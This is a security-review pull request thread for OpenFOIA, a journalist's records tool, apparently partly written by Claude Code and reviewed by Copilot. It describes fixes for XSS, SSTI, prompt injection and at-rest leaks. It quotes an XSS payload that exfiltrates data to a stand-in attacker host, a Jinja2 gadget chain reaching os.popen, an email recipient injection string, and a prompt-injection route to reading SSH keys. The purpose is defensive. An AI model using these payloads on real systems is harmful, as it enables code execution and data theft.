Security review: fix injection, at-rest and network leaks (TDD)

[JordanCoin]

Full security review of the codebase, with every fix written test-first. 174 tests pass with the encryption extra installed (157 without it), up from 24 on main.

Reviewed against the project's own threat model: a journalist in a hostile environment, ingesting untrusted documents, where a silent network call or a false privacy guarantee is a mission failure rather than a bug.

Critical — untrusted document → code execution

Stored XSS in the entity graph (graph_template.py)
json.dumps does not escape <, > or /, and the result was string-substituted straight into an inline <script>. A FOIA response whose text contained </script><script>fetch('https://attacker/x?d='+...)</script> executed in the reader's browser on analyze graph --view and could exfiltrate the entire investigation. Now escaped to < / > / & plus U+2028/9; tests assert both that the payload cannot break out and that the JSON still round-trips.

Prompt injection → arbitrary local file read (agent.py)
process_document accepted any filesystem path and only checked .exists(), while the agent reads untrusted document text and had no prompt hardening. A malicious document could instruct the agent to ingest ~/.ssh/id_rsa or config.json into the database. Now confined to the data directory (resolved, so ../ and symlink escapes are caught), with system-prompt hardening and no raw exception text returned into the LLM context.

Unsandboxed Jinja2 → RCE (campaign.py)
Campaign templates are a shared artifact — an organizer distributes one to many participants — but were rendered with the full jinja2.Template, so {{ ''.__class__.__mro__[1].__subclasses__() }} chains reached os.popen on every participant's machine. Now SandboxedEnvironment, tested against four gadget chains.

High

• The encryption feature was unreachable. pysqlcipher3 (the only accepted driver) is unmaintained since 2021, source-only, and no longer pip-installs on modern Python — its wheel build fails under pip's build isolation. So openfoia install-extras encryption could not succeed, and the flagship at-rest protection was effectively dead for users on current Python. db.py now accepts either pysqlcipher3 or sqlcipher3 (the maintained fork, which ships wheels), and the extra installs the latter. Found while closing the test gap below.
• SQLCipher key truncation (db.py, security.py) — the passphrase was f-string-interpolated into PRAGMA key='{password}'. An apostrophe (it's ...) closed the literal early and turned the rest into a SQL comment, silently reducing the effective key to the characters before the quote — identically on create and unlock, so nothing looked broken. Now escaped, and verified against real SQLCipher: a truncated prefix genuinely fails to unlock.
• db encrypt left the plaintext recoverable — it copied to .db.bak, renamed the encrypted file over the original (freeing the plaintext blocks untouched) and shredded only the copy. Now shreds the original in place along with its WAL/SHM/journal.
• Duress mode labelled its own decoy — profile_0.db was never created; the real DB stayed data.db next to a file literally named profile_1.db. Enabling duress now migrates the real database and its sidecars into slot 0.
• Duress degraded to a plaintext decoy when no driver was present, and the duress password could then never match. Both paths now fail closed.
• CDN call from the local UI — cdn.tailwindcss.com told Cloudflare and any on-path observer when a session was active. The ~105 utility classes actually used are vendored into openfoia/static/app.css; added CSP, Referrer-Policy: no-referrer, no-store, TrustedHostMiddleware, and constant-time token comparison.
• Email recipient injection — agency@gov, attacker@evil silently delivered a copy of the request, no CRLF needed, because send_message derives the envelope from the headers. Now validated to exactly one address with an explicit envelope.
• World-readable data — data dir now 0700, config 0600 via os.open, database and sidecars 0600.

Medium / Low

Metadata stripping reported success on fields it never touched (DOCX company/manager live in docProps/app.xml, unreachable via python-docx; PDF XMP survived /Info clearing) · OCR page images and fax PDFs staged in shared /tmp, escaping purge · config --show printed the database passphrase · no upload or OCR page caps · Alembic ignored the SQLCipher connection so encrypted databases were never migrated · adapters reported transport failures as empty result sets, making a failed sanctions check read as clean · AppleScript URL injection · SSRF guards, streamed downloads with an incremental size cap, and filename sanitization on record downloads · mkstemp instead of mktemp when rewriting sensitive documents · SEC EDGAR User-Agent no longer advertises the tool to a government endpoint · install.sh fails closed when it cannot verify a checksum and documents the portable invocation that actually works · tor_browse stops claiming WebRTC is disabled via a Chromium flag that does not exist.

Honesty fixes in docs/THREAT_MODEL.md: the encrypted-database section now states that ingested documents and archived pages are not covered, and the duress section matches what the code does.

Behavior changes to review before merging

1. crossref_entities() raises PermissionError without allow_network=True. This breaks any existing programmatic caller — the gate lives in the library rather than the CLI so agent/server/script callers get the same protection (Principle 5). The CLI is updated and now also confirms before sending subject names off the machine.
2. init --password is superseded by --encrypt, which prompts. The old flag still works but warns that the passphrase is now in shell history.
3. Enabling duress mode moves data.db → profile_0.db (with its sidecars).
4. Twilio store_media now defaults to off.
5. The encryption extra now installs sqlcipher3-binary instead of pysqlcipher3. Both are supported at runtime, so an existing pysqlcipher3 install keeps working.
6. Ruff's rule set is pinned in pyproject.toml. CI installs an unpinned ruff>=0.1.0, and a newer ruff release widened its default rule set, turning Lint red with 325 errors across files this branch never touches — pristine main fails the same way. The pin here is a floor that restores deterministic lint, documented as such. Widen the ruff rule set and fix the findings #65 (stacked on this branch) widens the set properly and fixes the findings — including a real local-time-vs-UTC bug in FOIA deadline tracking.

Verification

CI green on Python 3.11, 3.12 and 3.13, plus integration jobs on 3.11/3.12 that install the encryption extra and fail loudly if no SQLCipher driver is present, so the crypto tests can never silently skip and look green.

Those integration tests exercise the real paths end to end: passphrases containing apostrophes round-trip through actual SQLCipher, a truncated prefix does not unlock, encrypt_database leaves no plaintext or .bak behind, encrypted init produces a database that really is encrypted and really has the schema (proving the alembic fix), and duress resolves the decoy while migrating the real DB into a slot.

Also verified against a running server rather than tests alone: security headers present, 401 without a token and 200 with, CSS served from disk, zero external references in the served page, and init producing a 0700 directory with a 0600 database.

tests/conftest.py blocks real sockets suite-wide, which turns offline-first into an enforced property — future tests needing network must opt in with @pytest.mark.allow_network.

🤖 Generated with Claude Code

https://claude.ai/code/session_01KWzqFx1d2uB6cjQV81mgJh

[Copilot]

Pull request overview

This PR performs a security-focused hardening pass across OpenFOIA’s CLI, server, agent, pipelines, and outbound gateways, aligning behavior with the threat model (offline-first, explicit network opt-in, reduced injection surface, and safer at-rest handling). It also adds a large set of security regression tests and enforces “no real sockets” by default in the test suite.

Changes:

• Prevents injection and code-execution primitives (stored XSS in graph HTML, Jinja2 sandboxing for campaign templates, AppleScript URL escaping, safer agent tool error handling and path confinement).
• Reduces network and identity leaks (vendored local UI CSS + CSP/headers + trusted hosts; library-layer Crossref opt-in; safer records downloads and adapter error reporting).
• Improves at-rest protections and honesty (secure delete semantics, duress profile behavior, permissions tightening, config secret redaction, threat model updates), backed by broad security regression tests.

Reviewed changes

Copilot reviewed 37 out of 37 changed files in this pull request and generated 4 comments.

Show a summary per file

File	Description
uninstall.sh	Adds safer uninstall messaging and optional secure purge flow.
install.sh	Fails closed on unverifiable downloads unless explicit insecure opt-out.
docs/THREAT_MODEL.md	Updates documentation to accurately describe protections/limitations.
tests/conftest.py	Enforces offline-by-default tests by blocking real outbound sockets.
tests/test_security_agent.py	Adds agent prompt-injection + path confinement + error-redaction tests.
tests/test_security_at_rest.py	Adds regression tests for secure delete, duress slot behavior, permissions.
tests/test_security_crypto.py	Adds SQLCipher key escaping/truncation regression tests.
tests/test_security_gateways.py	Adds tests for recipient injection, SSRF guards, temp file placement/permissions.
tests/test_security_hardening.py	Adds tests for secret redaction, CLI prompting, caps, AppleScript safety, adapter failure semantics.
tests/test_security_injection.py	Adds tests for graph XSS prevention and Jinja2 sandboxing.
tests/test_security_metadata.py	Adds tests ensuring metadata stripping is truthful/effective (DOCX/PDF/XMP).
tests/test_security_misc.py	Adds tests for Alembic migration correctness + template escaping + install/uninstall behavior.
tests/test_security_network.py	Adds tests for local UI no-CDN behavior, CSP/headers, archive tracker stripping, Crossref opt-in.
openfoia/agent.py	Hardens agent tool execution (generic errors, path confinement, system prompt guidance).
openfoia/browser.py	Escapes interpolated URL in AppleScript to prevent script injection.
openfoia/campaign.py	Switches to Jinja2 sandboxed rendering for shared campaign templates.
openfoia/cli.py	Adds prompting flags for passphrases; improves network confirmations; routes migrations correctly.
openfoia/config.py	Adds recursive secret redaction and writes config with owner-only permissions.
openfoia/crossref.py	Adds library-layer allow_network gating for crossref sources.
openfoia/db.py	Adds SQLCipher PRAGMA escaping helper; secure plaintext shredding; permissions hardening.
openfoia/gateways/email.py	Validates single recipient and uses explicit SMTP envelope recipients.
openfoia/gateways/fax.py	Escapes cover-page markup fields; stages media under data dir; defaults provider media retention off.
openfoia/gateways/mail.py	Escapes interpolated HTML fields in printed letter template.
openfoia/graph_template.py	Escapes JSON to safely embed in inline <script> (prevents stored XSS).
openfoia/migrations/env.py	Ensures Alembic uses the passed SQLCipher connection when provided.
openfoia/pipeline/metadata.py	Removes PDF XMP metadata; strips DOCX extended props and drops custom props.
openfoia/pipeline/ocr.py	Moves OCR scratch under data dir; caps pages rendered; improves purge coverage.
openfoia/pipeline/web.py	Sanitizes archived HTML so reopening doesn’t refire remote trackers/subresources.
openfoia/records/base.py	Adds URL validation + safe filename derivation + consistent adapter transport error reporting.
openfoia/records/documentcloud.py	Validates attacker-influenced asset URLs before downloading.
openfoia/records/muckrock.py	Disables redirects; validates URLs; caps download size; sanitizes filenames.
openfoia/records/opencorporates.py	Uses shared request wrapper and surfaces transport failures as errors.
openfoia/records/sec_edgar.py	Uses overridable generic UA and surfaces adapter failures consistently.
openfoia/server.py	Vendors local CSS; adds trusted-host protection; security headers; upload hard cap + streaming write; constant-time token check.
openfoia/static/app.css	Adds locally-served minimal CSS replacing Tailwind CDN dependency.
openfoia/tor_browse.py	Updates warning text and removes claims of non-existent Chromium flags.

---

💡 Add a code-review agent skill or configure MCP servers for context-aware, tailored reviews. Learn more in the docs.

[JordanCoin]

All four review comments were valid and are fixed in 27f0203.

1. Duress migration left SQLite sidecars behind (security.py) — correct, and this partly undermined the fix it was commenting on. A leftover data.db-wal retains recent plaintext pages and re-labels the on-disk layout, which is exactly what moving into an opaque slot was meant to prevent. Extracted the migration into migrate_db_to_profile_slot(), which moves the -wal/-shm/-journal files with the database, is idempotent, never clobbers an existing slot, and clears stale legacy leftovers. Three new tests, including one asserting nothing matching data.db* survives.

2. Download cap ran after resp.content buffered the body (records/muckrock.py) — correct, the cap was decorative against a hostile upstream. Added download_to_file() in records/base.py, which streams via client.stream() and enforces the cap per chunk, deleting the partial file on abort. The test asserts the stream is abandoned early rather than fully consumed.

3. tempfile.mktemp() TOCTOU (pipeline/metadata.py) — correct. Switched to mkstemp() in the target's own directory. Fixed the same pattern in the test helper.

4. Dead if False / unclosed handle (tests/test_security_network.py) — removed; reads via Path.read_text().

---

Separately, the Lint step failure on the previous commit was not caused by this branch. CI installs an unpinned ruff>=0.1.0, and a newer ruff release widened its default rule set, producing 325 errors across files this branch never touches (templates.py, tor_browse.py, test_extraction.py, benchmark_extraction.py). Pristine main fails the same way. I pinned the rule set explicitly in pyproject.toml to the four defaults the project has always been linted against, so a ruff upgrade can no longer silently change what CI enforces — widening it is now a deliberate decision. I also cleaned the import ordering and a bytes literal in the new test files so they stay clean if the set is widened later.

Happy to instead fix all 325 repo-wide violations, but that seemed like a large unrelated diff to fold into a security PR — say the word if you'd prefer it.

---

Generated by Claude Code